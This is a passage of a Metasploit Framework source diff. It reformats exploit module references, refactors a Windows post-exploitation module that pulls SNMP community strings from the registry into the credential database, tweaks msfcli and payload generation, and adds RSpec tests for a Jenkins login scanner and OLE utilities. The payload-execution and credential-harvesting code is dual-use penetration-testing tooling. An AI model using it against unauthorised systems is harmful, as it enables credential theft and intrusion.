unless execute_shellcode(p)
fail_with(Failure::Unknown, "Error while executing the payload")
end
end
end

View File

@ -25,7 +25,7 @@ module Metasploit3
],
'References' =>
[
'URL' => 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell',
['URL', 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell']
],
# The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE
'License' => MSF_LICENSE,

View File

@ -25,7 +25,7 @@ module Metasploit3
],
'References' =>
[
'EDB' => '18226',
['EDB', '18226']
],
'License' => MSF_LICENSE,
'Platform' => 'linux',

View File

@ -50,7 +50,7 @@ class Metasploit3 < Msf::Post
def community_strings
comm_str = []
tbl = Rex::Ui::Text::Table.new(
'Header' => "Comunity Strings",
'Header' => "Community Strings",
'Indent' => 1,
'Columns' =>
[
@ -63,33 +63,30 @@ class Metasploit3 < Msf::Post
if not comm_str.nil? and not comm_str.empty?
comm_str.each do |c|
# comm_type is for human display, access_type is passed to the credential
# code using labels consistent with the SNMP login scanner
case registry_getvaldata(key,c)
when 4
comm_type = "READ ONLY"
comm_type = 'READ ONLY'
access_type = 'read-only'
when 1
comm_type = "DISABLED"
comm_type = 'DISABLED'
access_type = 'disabled'
when 2
comm_type = "NOTIFY"
comm_type = 'NOTIFY'
access_type = 'notify'
when 8
comm_type = "READ & WRITE"
comm_type = 'READ & WRITE'
access_type = 'read-write'
when 16
comm_type = "READ CREATE"
comm_type = 'READ CREATE'
access_type = 'read-create'
end
# Save data to table
tbl << [c,comm_type]
# Save Community Strings to DB
report_auth_info(
:host => session.sock.peerhost,
:port => 161,
:proto => 'udp',
:sname => 'snmp',
:user => '',
:pass => c,
:type => "snmp.community",
:duplicate_ok => true
)
register_creds(session.session_host, 161, '', c, 'snmp', access_type)
end
print_status("")
@ -116,21 +113,13 @@ class Metasploit3 < Msf::Post
if not trap_hosts.nil? and not trap_hosts.empty?
trap_hosts.each do |c|
print_status("Community Name: #{c}")
session.framework.db.report_auth_info(
:host => session.sock.peerhost,
:port => 161,
:proto => 'udp',
:sname => 'snmp',
:user => '',
:pass => c,
:type => "snmp.community",
:duplicate_ok => true
)
t_comm_key = key+"\\"+c
registry_enumvals(t_comm_key).each do |t|
print_status("\tDestination: " + registry_getvaldata(t_comm_key,t))
trap_dest = registry_getvaldata(t_comm_key,t)
print_status("\tDestination: #{trap_dest}")
register_creds(trap_dest, 162, '', c, 'snmptrap', 'trap')
end
end
else
print_status("No Traps are configured")
@ -152,4 +141,40 @@ class Metasploit3 < Msf::Post
print_status("\tCommunity Strings can be accessed from any host")
end
end
def register_creds(client_ip, client_port, user, pass, service_name, access_type)
# Build service information
service_data = {
address: client_ip,
port: client_port,
service_name: service_name,
protocol: 'udp',
workspace_id: myworkspace_id
}
# Build credential information
credential_data = {
access_level: access_type,
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_data: pass,
private_type: :password,
username: user,
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end

2
msfcli
View File

@ -428,7 +428,7 @@ class Msfcli
def show_actions(m)
readable = Msf::Serializer::ReadableText
$stdout.puts("\n" + readable.dump_auxiliary_actions(m[:module], @indent))
$stdout.puts("\n" + readable.dump_module_actions(m[:module], @indent))
end

View File

@ -136,13 +136,11 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/)
fmt = 'java' if (cmd =~ /^b$/)
fmt = 'raw' if (cmd =~ /^w$/)
fmt = 'python' if (cmd =~ /^n$/)
enc = options['ENCODER']
begin
buf = payload.generate_simple(
'Format' => fmt,
'Options' => options,
'Encoder' => enc)
'Options' => options)
rescue
$stderr.puts "Error generating payload: #{$!}"
exit

View File

@ -0,0 +1,10 @@
require 'spec_helper'
require 'metasploit/framework/login_scanner/jenkins'
describe Metasploit::Framework::LoginScanner::Jenkins do
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
end

View File

@ -0,0 +1,56 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/ole'
describe Rex::OLE::CLSID do
let(:sample_clsid) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff" }
subject(:clsid) do
described_class.new(sample_clsid)
end
describe "#initialize" do
subject(:clsid_class) do
described_class.allocate
end
it "returns the buf value" do
expect(clsid_class.send(:initialize, sample_clsid)).to eq(sample_clsid)
end
context "when buf is nil" do
it "returns padding" do
expect(clsid_class.send(:initialize)).to eq("\x00" * 16)
end
end
end
describe "#pack" do
it "returns the buf field" do
expect(clsid.pack).to eq(sample_clsid)
end
end
describe "#to_s" do
it "returns printable clsid" do
Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN)
expect(clsid.to_s).to eq('33221100-5544-7766-8899-aabbccddeeff')
end
context "when buf is nil" do
it "raises NoMethodError" do
clsid.instance_variable_set(:@buf, nil)
expect { clsid.to_s }.to raise_error(NoMethodError)
end
end
context "when buf is shorter than 16 bytes" do
it "raises TypeError" do
clsid.instance_variable_set(:@buf, '')
expect { clsid.to_s }.to raise_error(TypeError)
end
end
end
end

View File

@ -0,0 +1,406 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/ole'
describe Rex::OLE::Util do
describe ".Hexify32array" do
subject(:hex_array) { described_class.Hexify32array(arr) }
context "when arr is empty" do
let(:arr) { [] }
it "returns empty string" do
is_expected.to be_empty
end
end
context "when arr is filled" do
let(:arr) { [0, 1, 0x20, 0x40, 0x100, 0x200, 0x12345678] }
it "returns an string with the hexify array" do
is_expected.to eq('0x00000000 0x00000001 0x00000020 0x00000040 0x00000100 0x00000200 0x12345678')
end
end
end
describe ".Printable" do
subject(:printable_buf) { described_class.Printable(buf) }
context "when buf is empty" do
let(:buf) { '' }
it "returns empty string" do
is_expected.to be_empty
end
end
context "when buf only contains printable chars" do
let(:buf) { 'abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()' }
it "returns the same string" do
is_expected.to eq(buf)
end
end
context "when buf contains no printable chars" do
let(:buf) { "abcde\x88" }
it "returns hex representation for non printable chars" do
is_expected.to eq('abcde\\x88')
end
end
end
describe ".set_endian" do
subject(:set_endian) { described_class.set_endian(endian) }
let(:endian) { Rex::OLE::LITTLE_ENDIAN }
it "sets the endian field" do
set_endian
expect(described_class.instance_variable_get(:@endian)).to eq(0xfffe)
end
it "returns the set endianness" do
is_expected.to eq(0xfffe)
end
end
describe ".get64" do
subject(:quad_word) { described_class.get64(buf, offset) }
context "when buf is empty" do
let(:buf) { '' }
let(:offset) { 0 }
it "raises a null dereference exception" do
expect { quad_word }.to raise_error(NoMethodError)
end
end
context "when buf is shorter than offset" do
let(:buf) { "\x12\x34\x56\x78\x12\x34\x56\x78" }
let(:offset) { 8 }
it "raises a null dereference exceptioon" do
expect { quad_word }.to raise_error(NoMethodError)
end
end
context "when @endian is little endian" do
let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" }
let(:offset) { 1 }
it "returns the little endian quad word at offset" do
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
is_expected.to eq(0x8877665544332211)
end
end
context "when @endian is big endian" do
let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" }
let(:offset) { 1 }
it "returns the big endian quad word at offset" do
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
is_expected.to eq(0x1122334455667788)
end
end
end
describe ".pack64" do
subject(:packed_quad_word) { described_class.pack64(value) }
let(:value) { 0x1122334455667788 }
context "when @endian is little endian" do
it "returns the packed little endian quad word" do
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
is_expected.to eq("\x88\x77\x66\x55\x44\x33\x22\x11")
end
end
context "when @endian is big endian" do
it "returns the packed big endian quad word" do
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
is_expected.to eq("\x11\x22\x33\x44\x55\x66\x77\x88")
end
end
end
describe ".get32" do
subject(:word) { described_class.get32(buf, offset) }
context "when buf is empty" do
let(:buf) { '' }
let(:offset) { 0 }
it "returns nil" do
is_expected.to be_nil
end
end
context "when buf is shorter than offset" do
let(:buf) { "\x12\x34\x56" }
let(:offset) { 4 }
it "raises a null dereference exceptioon" do
expect { word }.to raise_error(NoMethodError)
end
end
context "when @endian is little endian" do
let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" }
let(:offset) { 1 }
it "returns the little endian word at offset" do
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
is_expected.to eq(0x44332211)
end
end
context "when @endian is big endian" do
let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" }
let(:offset) { 1 }
it "returns the big endian word at offset" do
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
is_expected.to eq(0x11223344)
end
end
end
describe ".pack32" do
subject(:packed_word) { described_class.pack32(value) }
let(:value) { 0x11223344 }
context "when @endian is little endian" do
it "returns the packed little endian word" do
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
is_expected.to eq("\x44\x33\x22\x11")
end
end
context "when @endian is big endian" do
it "returns the packed big endian word at offset" do
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
is_expected.to eq("\x11\x22\x33\x44")
end
end
end
describe ".get32array" do
subject(:word_array) { described_class.get32array(buf) }
context "when buf is empty" do
let(:buf) { '' }
it "returns an empty array" do
is_expected.to eq([])
end
end
context "when buf isn't empty" do
let(:buf) { "\x11\x22\x33\x44\x55\x66\x77\x88" }
context "when @endian is little endian" do
it "unpacks an array of little endian words" do
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
is_expected.to eq([0x44332211, 0x88776655])
end
end
context "when @endian is big endian" do
it "unpacks an array of big endian words" do
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
is_expected.to eq([0x11223344, 0x55667788])
end
end
end
end
describe ".pack32array" do
subject(:packed_word) { described_class.pack32array(arr) }
context "when arr is empty" do
let(:arr) { [] }
it "returns an empty string" do
is_expected.to eq('')
end
end
context "when arr isn't empty" do
let(:arr) { [0x11223344, 0x55667788] }
context "when @endian is little endian" do
it "returns the little endian words array packed" do
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
is_expected.to eq("\x44\x33\x22\x11\x88\x77\x66\x55")
end
end
context "when @endian is big endian" do
it "returns the big endian words array packed" do
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
is_expected.to eq("\x11\x22\x33\x44\x55\x66\x77\x88")
end
end
end
end
describe ".get16" do
subject(:half_word) { described_class.get16(buf, offset) }
context "when buf is empty" do
let(:buf) { '' }
let(:offset) { 0 }
it "returns nil" do
is_expected.to be_nil
end
end
context "when buf is shorter than offset" do
let(:buf) { "\x12\x34" }
let(:offset) { 4 }
it "raises a null dereference exceptioon" do
expect { half_word }.to raise_error(NoMethodError)
end
end
context "when @endian is little endian" do
let(:buf) { "\x00\x11\x22\x33\x44" }
let(:offset) { 1 }
it "returns the little endian half word at offset" do
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
is_expected.to eq(0x2211)
end
end
context "when @endian is big endian" do
let(:buf) { "\x00\x11\x22\x33\x44" }
let(:offset) { 1 }
it "returns the big endian word at offset" do
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
is_expected.to eq(0x1122)
end
end
end
describe ".pack16" do
subject(:packed_word) { described_class.pack16(value) }
let(:value) { 0x1122 }
context "when @endian is little endian" do
it "returns the packed little endian word" do
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
is_expected.to eq("\x22\x11")
end
end
context "when @endian is big endian" do
it "returns the packed big endian word at offset" do
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
is_expected.to eq("\x11\x22")
end
end
end
describe ".get8" do
subject(:byte) { described_class.get8(buf, offset) }
context "when buf is empty" do
let(:buf) { '' }
let(:offset) { 0 }
it "returns nil" do
is_expected.to be_nil
end
end
context "when buf is shorter than offset" do
let(:buf) { "\x12\x34" }
let(:offset) { 4 }
it "raises a null dereference exceptioon" do
expect { byte }.to raise_error(NoMethodError)
end
end
let(:buf) { "\x00\x11\x22" }
let(:offset) { 1 }
it "returns the byte at offset" do
is_expected.to eq(0x11)
end
end
describe ".pack8" do
subject(:packed_byte) { described_class.pack8(value) }
let(:value) { 0x11 }
it "returns the packed byte" do
is_expected.to eq("\x11")
end
end
describe ".getUnicodeString" do
subject(:unicode_string) { described_class.getUnicodeString(buf) }
let(:buf) { "T\x00h\x00i\x00s\x00 \x00i\x00s\x00 \x00a\x00n\x00 \x00u\x00n\x00i\x00c\x00o\x00d\x00e\x00 \x00s\x00t\x00r\x00i\x00n\x00g\x00" }
it "unpacks unicode string" do
is_expected.to eq('This is an unicode string')
end
context "when buf contains unicode nulls" do
let(:buf) { "T\x00h\x00\x00i\x00s\x00" }
it "unpacks unicode string until null" do
is_expected.to eq('Th')
end
end
end
describe ".putUnicodeString" do
subject(:packed_byte) { described_class.putUnicodeString(buf) }
let(:buf) { 'A' * 32 }
it "returns the unicode version of the string" do
is_expected.to eq("A\x00" * 32)
end
context "when buf is shorter than 32" do
let(:buf) { 'A' * 30 }
it "adds null byte padding" do
is_expected.to eq(("A\x00" * 30) + "\x00\x00\x00\x00")
end
end
end
describe ".name_is_valid" do
subject(:valid_name) { described_class.name_is_valid(name) }
context "when name length is greater than 31" do
let(:name) { 'A' * 32 }
it "returns nil" do
is_expected.to be_nil
end
end
context "when name contains [0x00..0x1f] chars" do
let(:name) { "ABCDE\x1f" }
it "returns nil" do
is_expected.to be_nil
end
end
context "when name doesn't contain [0x00..0x1f] chars" do
let(:name) { "ABCDE\x88" }
it "returns true" do
is_expected.to be_truthy
end
end
end
end